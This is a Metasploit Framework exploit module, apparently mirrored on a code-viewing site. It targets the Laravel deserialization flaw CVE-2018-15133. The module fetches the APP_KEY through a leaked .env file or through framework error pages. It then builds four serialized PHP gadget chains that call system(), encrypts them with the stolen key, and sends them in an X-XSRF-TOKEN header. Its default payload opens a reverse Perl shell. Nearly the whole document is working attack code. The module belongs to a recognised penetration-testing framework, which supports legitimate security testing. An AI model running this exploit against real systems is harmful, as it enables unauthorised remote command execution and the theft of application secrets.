Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/laravel_token_unserialize_exec.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::HttpClient
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution',
17
'Description' => %q{
18
This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.
19
Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to
20
an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.
21
Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.
22
Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.
23
In some cases the APP_KEY is leaked which allows for discovery and exploitation.
24
},
25
'DisclosureDate' => '2018-08-07',
26
'Author' => [
27
'Ståle Pettersen', # Discovery
28
'aushack', # msf exploit + other leak
29
],
30
'References' => [
31
['CVE', '2018-15133'],
32
['CVE', '2017-16894'],
33
['URL', 'https://github.com/kozmic/laravel-poc-CVE-2018-15133'],
34
['URL', 'https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30'],
35
['URL', 'https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0']
36
],
37
'License' => MSF_LICENSE,
38
'Platform' => 'unix',
39
'Arch' => ARCH_CMD,
40
'DefaultTarget' => 0,
41
'Stance' => Msf::Exploit::Stance::Aggressive,
42
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
43
'Payload' => { 'DisableNops' => true },
44
'Targets' => [[ 'Automatic', {} ]],
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options([
54
OptString.new('TARGETURI', [ true, 'Path to target webapp', '/']),
55
OptString.new('APP_KEY', [ false, 'The base64 encoded APP_KEY string from the .env file', ''])
56
])
57
end
58
59
def check
60
res = send_request_cgi({
61
'uri' => normalize_uri(target_uri.path, 'index.php'),
62
'method' => 'GET'
63
})
64
65
# Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more?
66
unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i
67
return CheckCode::Unknown
68
end
69
70
auth_token = check_appkey
71
if auth_token.blank? || test_appkey(auth_token) == false
72
vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
73
return CheckCode::Detected
74
end
75
76
random_string = Rex::Text.rand_text_alphanumeric(12)
77
78
1.upto(4) do |method|
79
vuln = generate_token("echo #{random_string}", auth_token, method)
80
81
res = send_request_cgi({
82
'uri' => normalize_uri(target_uri.path, 'index.php'),
83
'method' => 'POST',
84
'headers' => {
85
'X-XSRF-TOKEN' => "#{vuln}",
86
}
87
})
88
89
if res.body.include?(random_string)
90
return CheckCode::Vulnerable
91
# Not conclusive but witnessed in the wild
92
elsif res.body.include?('Method Not Allowed')
93
return CheckCode::Safe
94
end
95
end
96
CheckCode::Detected
97
rescue Rex::ConnectionError
98
CheckCode::Unknown
99
end
100
101
def env_leak
102
key = ''
103
vprint_status 'Checking for CVE-2017-16894 .env information leak'
104
res = send_request_cgi({
105
'uri' => normalize_uri(target_uri.path, '.env'),
106
'method' => 'GET'
107
})
108
109
# Good but may be other software. Can also check for 'APP_NAME=Laravel' etc
110
return key unless res && res.body.include?('APP_KEY') && res.body =~ /APP_KEY\=base64:(.*)/
111
112
key = $1
113
114
if key
115
vprint_good "APP_KEY Found via CVE-2017-16894 .env information leak: #{key}"
116
return key
117
end
118
119
vprint_status 'Website .env file exists but didn\'t find a suitable APP_KEY'
120
key
121
end
122
123
def framework_leak(decrypt_ex = true)
124
key = ''
125
if decrypt_ex
126
# Possible config error / 0day found by aushack during pentest
127
# Seen in the wild with recent releases
128
res = send_request_cgi({
129
'uri' => normalize_uri(target_uri.path, 'index.php'),
130
'method' => 'POST',
131
'headers' => {
132
'X-XSRF-TOKEN' => Rex::Text.rand_text_alpha(1) # May trigger
133
}
134
})
135
136
return key unless res && res.body.include?('DecryptException') && res.body.include?('APP_KEY')
137
else
138
res = send_request_cgi({
139
'uri' => normalize_uri(target_uri.path, 'index.php'),
140
'method' => 'POST'
141
})
142
143
return key unless res && res.body.include?('MethodNotAllowedHttpException') && res.body.include?('APP_KEY')
144
end
145
# Good sign but might be more universal with e.g. 'vendor/laravel/framework' ?
146
147
# Leaks all environment config including passwords for databases, AWS, REDIS, SMTP etc... but only the APP_KEY appears to use base64
148
if res.body =~ /\>base64:(.*)\<\/span\>/
149
key = $1
150
vprint_good "APP_KEY Found via Laravel Framework error information leak: #{key}"
151
end
152
153
key
154
end
155
156
def check_appkey
157
key = datastore['APP_KEY'].present? ? datastore['APP_KEY'] : ''
158
return key unless key.empty?
159
160
vprint_status 'APP_KEY not set. Will try to find it...'
161
key = env_leak
162
key = framework_leak if key.empty?
163
key = framework_leak(false) if key.empty?
164
key.empty? ? false : key
165
end
166
167
def test_appkey(value)
168
value = Rex::Text.decode_base64(value)
169
return true if value && value.length.to_i == 32
170
171
false
172
end
173
174
def generate_token(cmd, key, method)
175
# Ported phpggc Laravel RCE php objects :)
176
case method
177
when 1
178
payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\Generator":1:{s:13:"' + "\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
179
when 2
180
payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' + "\x00" + '*' + "\x00" + 'listeners";a:1:{s:' + cmd.length.to_s + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
181
when 3
182
payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' + "\x00" + '*' + "\x00" + 'app";s:' + cmd.length.to_s + ':"' + cmd + '";s:17:"' + "\x00" + '*' + "\x00" + 'defaultChannel";s:1:"x";s:17:"' + "\x00" + '*' + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'
183
when 4
184
payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
185
end
186
187
cipher = OpenSSL::Cipher.new('AES-256-CBC') # Or AES-128-CBC - untested
188
cipher.encrypt
189
cipher.key = Rex::Text.decode_base64(key)
190
iv = cipher.random_iv
191
192
value = cipher.update(payload_decoded) + cipher.final
193
pload = Rex::Text.encode_base64(value)
194
iv = Rex::Text.encode_base64(iv)
195
mac = OpenSSL::HMAC.hexdigest('SHA256', Rex::Text.decode_base64(key), iv + pload)
196
iv = iv.gsub('/', '\\/') # Escape slash
197
pload = pload.gsub('/', '\\/') # Escape slash
198
json_value = %Q({"iv":"#{iv}","value":"#{pload}","mac":"#{mac}"})
199
json_out = Rex::Text.encode_base64(json_value)
200
201
json_out
202
end
203
204
def exploit
205
auth_token = check_appkey
206
if auth_token.blank? || test_appkey(auth_token) == false
207
vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
208
return
209
end
210
211
1.upto(4) do |method|
212
sploit = generate_token(payload.encoded, auth_token, method)
213
214
res = send_request_cgi({
215
'uri' => normalize_uri(target_uri.path, 'index.php'),
216
'method' => 'POST',
217
'headers' => {
218
'X-XSRF-TOKEN' => sploit,
219
}
220
}, 5)
221
222
# Stop when one of the deserialization attacks works
223
break if session_created?
224
225
if res && res.body.include?('The MAC is invalid|Method Not Allowed') # Not conclusive
226
print_status 'Target appears to be patched or otherwise immune'
227
end
228
end
229
end
230
end
231
232